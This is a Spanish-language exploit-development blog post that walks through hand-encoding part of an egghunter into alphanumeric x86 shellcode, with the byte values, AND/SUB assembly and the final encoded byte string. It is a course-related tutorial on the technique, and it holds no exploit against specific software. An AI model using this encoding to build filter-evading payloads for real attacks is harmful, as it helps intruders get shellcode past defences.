Blog con notas, publicaciones sobre exploits, uso de herramientas, búsqueda de vulnerabilidades y más. @Yonatan_correa
12 septiembre 2019
Un Vistazo por Alphanumeric coding
En el curso de Cracking the Perimeter (CTP), me toco tratar con la codificación Alfanumérica, me encontré esto muy entretenido y quise escribir una breve descripción de como es la codificación por debajo que usa este encode.
Una de las ventaja de este encode, es que, permite pasar su contenido a número, evita la presencia visible de caracteres nulos, evade uno que otro mecanismos de seguridad, etc.
Hay muchos scripts y herramienta que hacen esto de forma automatizadas como alpha_mixed de metasploit, mona.py, etc. Pero en esta ocasión vamos a ver una modalidad en que se puede hacer usando cálculos matemáticos y realizándolo de forma manual.
Antes de empezar vamos a hablar de dos direcciones que al usar la lógica AND nos dan como resultado 0 en el registro que usemos, que serian la siguientes:
and eax,0x554E4D4A
and eax,0x2A313235
554E4D4A AND 2A313235 = 0
Para este ejemplo vamos a tomar los últimos 12 bytes de un egghunter que serian estos: \x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7
Tratare de explicarlo lo más simple y entendible que se pueda. Empecemos
Tenemos este código
\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7
Ahora lo dejamos limpio sin los \x (que también se podemos interpretarlo como ejecuta de aquí y sin importa si viene en mayúscula o minúscula)
Quedaría así
30578bfaaf75eaaf75e7ffe7
Ahora creamos bloques de 4 para realizar el calculo
30578bfa
af75eaaf
75e7ffe7
Para realizar el primer calculo, hay que restarle a la dirección de memoria completa, la dirección de memoria que tenemos o como lo dividimos en bloques de cuatro. Aquí se pasa a la inversa (Little-Endian)
FFFFFFFF - e7ffe775 + 1 = 1800188B
FFFFFFFF - afea75af + 1 = 50158A51
FFFFFFFF - fa8b5730 + 1 = 0574a8d0
Ahora lo dividimos en 3 (La idea es que al restar los 3 valores el resultado de cero)
18 00 18 8B = 5d555d2e + 5d555d2e + 5d555e2f
50 15 8A 51 = 6f5c2d70 + 6f5c2d70 + 715d2f71
05 74 a8 d0 = 57263845 + 57263845 + 57283846
En algunos caso te puede dar como resultado 00 y como este es un carácter nulo, hay que agregarle un 1 y quedaría así 100.
En otros casos, lo podemos transformar a ff como es el segundo de la primera fila, lo calculamos así: ff - ff= 00 Y usamos el valor 55 + 55 + 55 = ff
En otros casos hay que agregarle 1 al valor para que no te de un valor en negativo. Ejemplo:
05 - 57 - 57 - 57 = -100 Pero al agregar 1 seria 105 - 57 - 57 - 57 = 0
Ya que tenemos la direcciones de memoria, lo que se vería así
and eax,0x554E4D4A
and eax,0x2A313235
sub eax,0x5d555d2e
sub eax,0x5d555d2e
sub eax,0x5d555e2f
push eax
and eax,0x554E4D4A
and eax,0x2A313235
sub eax,0x6f5c2d70
sub eax,0x6f5c2d70
sub eax,0x715d2f71
push eax
and eax,0x554E4D4A
and eax,0x2A313235
sub eax,0x57263845
sub eax,0x57263845
sub eax,0x57283846
push eax
Y para pasarlo a nuestros código, quedaría así :)
\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2e\x5d\x55\x5d\x2d\x2e\x5d\x55\x5d\x2d\x2f\x5e\x55\x5d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x70\x2d\x5c\x6f\x2d\x70\x2d\x5c\x6f\x2d\x71\x2f\x5d\x71\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x45\x38\x26\x57\x2d\x45\x38\x26\x57\x2d\x46\x38\x28\x57\x50
Referencias:
https://github.com/corelan/mona/blob/master/mona.py
https://www.rapid7.com/db/modules/encoder/x86/unicode_mixed
https://github.com/SkyLined/alpha3
Suscribirse a:
Comentarios de la entrada (Atom)
Excelente
ResponderBorrar